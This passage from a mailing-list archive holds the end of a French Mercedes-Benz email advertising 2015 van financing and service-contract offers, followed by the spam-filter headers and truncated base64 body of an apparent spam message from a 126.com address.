réserve d'un état standard et d'un kilométrage total contractuel de 60.000 km. Offre exclusivement réservée aux professionnels, hors loueurs et flottes, pour les véhicules mentionnés ci-dessus, commandés entre le 01/10/15 et le 30/11/15 et livrés avant le 31/12/15, sous réserve d'acceptation du dossier par Mercedes-Benz Financial Services France S.A. - 7 av. Niepce - 78180 Montigny-le-Bretonneux- RCS Versailles 304 974 249. N° ORIAS 07009177.(3) TVA au taux en vigueur en sus, hors assurance. (4) TVA au taux en vigueur en sus, avec assurance Complémentaire Financière incluse. (5) Selon préconisations du carnet de maintenance. (6) Offre valable pour toute commande d'un Vito neuf (Fourgon/Mixto/Tourer/ 4x4) auprès d'un distributeur participant entre le 01/09/2015 et le 30/ 11/2015, livré et immatriculé avant le 31/03/2016. Offre réservée aux particuliers et professionnels (hors flottes et loueurs). ContratService Complete 36 mois ou 80 000 km proposé pour 1€ TTC. (7) Offre valable pour toute commande d'un Sprinter Fourgon ou Combi neuf auprès d'un distributeur participant entre le 01/09/2015 et le 30/11/2015, livré et immatriculé avant le 31/03/2016. Offre réservée aux particuliers et professionnels (hors flottes et loueurs). ContratService Complete 36 mois ou 100 000 km proposé pour 1€ TTC. Mercedes-Benz France, SAS au capital de 75 516 000 €, 7 avenue Niépce, 78180 Montigny le Bretonneux. RCS Versailles 622 044 287 Pour retirer votre adresse email,c'est la --------------080307070208020303040701 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
Si ce message ne s'affiche pas correctement, suivez ce lien.
Mercedes-Benz Mercedes-Benz MMercedes-Benz
ContratService Complete
ContratService Complete
ContratService Complete
ContratService Complete
ContratService Complete
ContratService Complete
Mercedes-Benz ContratService Complete
Mercedes-Benz
*Des utilitaires conçus pour durer.
(1) Offre valable pour toute commande d'un Citan neuf (Fourgon/Mixto/Tourer) auprès d'un distributeur participant entre le 01/09/2015 et le 31/12/2015, livré et immatriculé avant le 31/03/2016. Offre réservée aux particuliers et professionnels (hors flottes et loueurs). ContratService Complete 36 mois ou 60 000 km proposé pour 1€ TTC. (2) Exemple : CITAN FG 108CDI compact au prix tarif remisé du 01/10/15 de 11.990€HT(3) proposé en Crédit-Bail Facility sur 36 mois avec 36 loyers mensuels de 209€HT(4) et une option d'achat de 5.041€HT(3), sous réserve d'un kilométrage total contractuel de 60.000 km. Coût total : 12.241€HT(3) ou 12.564€HT(4)Modèle présenté : CITAN FG 108CDI Long avec peinture métal et jantes alliage 16 pouces au prix tarif remisé du 01/10/15 de 14.400€HT(3) proposé en Crédit-Bail Facility sur 36 mois avec 36 loyers mensuels de 260€HT(4) et une option d'achat de 5.734€HT(3), sous réserve d'un kilométrage total contractuel de 60.000 km. Coût total : 14.696€HT(3) ou 15.085€HT(4). Si vous ne souhaitez pas vous porter acquéreur de votre véhicule, votre distributeur participant à l'opération vous en assure la reprise au terme du contrat pour le montant de l'option d'achat sous réserve d'un état standard et d'un kilométrage total contractuel de 60.000 km. Offre exclusivement réservée aux professionnels, hors loueurs et flottes,  pour les véhicules mentionnés ci-dessus, commandés entre le 01/10/15 et le 30/11/15 et livrés avant le 31/12/15, sous réserve d'acceptation du dossier par Mercedes-Benz Financial Services France S.A. - 7 av. Niepce - 78180 Montigny-le-Bretonneux- RCS Versailles 304 974 249. N° ORIAS 07009177.(3) TVA au taux en vigueur en sus, hors assurance. (4) TVA au taux en vigueur en sus, avec assurance Complémentaire Financière incluse. (5) Selon préconisations du carnet de maintenance. (6) Offre valable pour toute commande d'un Vito neuf (Fourgon/Mixto/Tourer/ 4x4) auprès d'un distributeur participant entre le 01/09/2015 et le 30/11/2015, livré et immatriculé avant le 31/03/2016. Offre réservée aux particuliers et professionnels (hors flottes et loueurs). ContratService Complete 36 mois ou 80 000 km proposé pour 1€ TTC. (7) Offre valable pour toute commande d'un Sprinter Fourgon ou Combi neuf auprès d'un distributeur participant entre le 01/09/2015 et le 30/11/2015, livré et immatriculé avant le 31/03/2016. Offre réservée aux particuliers et professionnels (hors flottes et loueurs). ContratService Complete 36 mois ou 100 000 km proposé pour 1€ TTC.

Mercedes-Benz France, SAS au capital de 75 516 000 €, 7 avenue Niépce, 78180 Montigny le Bretonneux. RCS Versailles 622 044 287
Pour retirer votre adresse email,c'est la
--------------080307070208020303040701-- From ivwlapswq@126.com Sat Oct 31 19:46:23 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.1 required=5.0 tests=FROM_BLANK_NAME, MIME_BASE64_BLANKS,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0958F29DF5 for ; Sat, 31 Oct 2015 19:46:23 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8713EAC001 for ; Sat, 31 Oct 2015 17:46:22 -0700 (PDT) X-ASG-Debug-ID: 1446338778-04cbb0660f1859c0001-NocioJ Received: from m50-112.126.com (m50-112.126.com [123.125.50.112]) by cuda.sgi.com with ESMTP id KXb9vGWozLdrZpJF for ; Sat, 31 Oct 2015 17:46:19 -0700 (PDT) X-Barracuda-Envelope-From: ivwlapswq@126.com X-Barracuda-Apparent-Source-IP: 123.125.50.112 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=126.com; s=s110527; h=Message-ID:From:Subject:Date; bh=K4MFUMItCaXLovGv2K NC6/xU67dzbxav+xRvojAPwJ8=; b=plSdUvtANRuYubwP7B9ytXkea2b3Mlt8kY JV295jftGz/hxar2CeWhkkVaXvWv8mBUJLPp1LELBlLUx940+LEnfAayDiWgxigd L0Qi6Q9KlvR6H5Voo6ljYpnrPgQ1f+57PCnD57h8KhQ6gKGO1OX00kDrs9tyfjL1 HdtaW+U9I= Received: from xdkmeux (unknown [61.156.233.167]) by smtp6 (Coremail) with SMTP id j9KowAAXNuLZYDVWnjl7Bg--.43252S2; Sun, 01 Nov 2015 08:46:17 +0800 (CST) Message-ID: <201511010846151340603@126.com> From: "" To: Subject: =?utf-8?B?5Y2z5LqL5oCd5rGf5rW34oCd5pS25Yiw5Zue5aSN?= Date: Sun, 1 Nov 2015 08:46:06 +0800 X-ASG-Orig-Subj: =?utf-8?B?5Y2z5LqL5oCd5rGf5rW34oCd5pS25Yiw5Zue5aSN?= Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 X-Priority: 3 X-CM-TRANSID:j9KowAAXNuLZYDVWnjl7Bg--.43252S2 X-Coremail-Antispam: 1Uf129KBjDUn29KB7ZKAUJUUUUU529EdanIXcx71UUUUU7v73 VFW2AGmfu7bjvjm3AaLaJ3UbIYCTnIWIevJa73UjIFyTuYvjxU4_-BDUUUU X-Originating-IP: [61.156.233.167] X-CM-SenderInfo: xlyzztpsvz1qqrswhudrp/1tbi1BmllFYFHlJ0uQAAsu X-Barracuda-Connect: m50-112.126.com[123.125.50.112] X-Barracuda-Start-Time: 1446338779 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 2.21 X-Barracuda-Spam-Status: No, SCORE=2.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0113c, DKIM_SIGNED, DKIM_VERIFIED, FROM_BLANK_NAME, MIME_BASE64_BLANKS, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23994 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 2.21 FROM_BLANK_NAME From: contains empty name 0.00 BSF_SC0_MV0113c BSF_SC0_MV0113c -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MIME_BASE64_BLANKS RAW: Extra blank lines in base64 encoding 5p2l5a+E5L+u5qS977yb5a6J5YWo5q2i5Yqo6J6654eI77ya5YW955Kw4oCc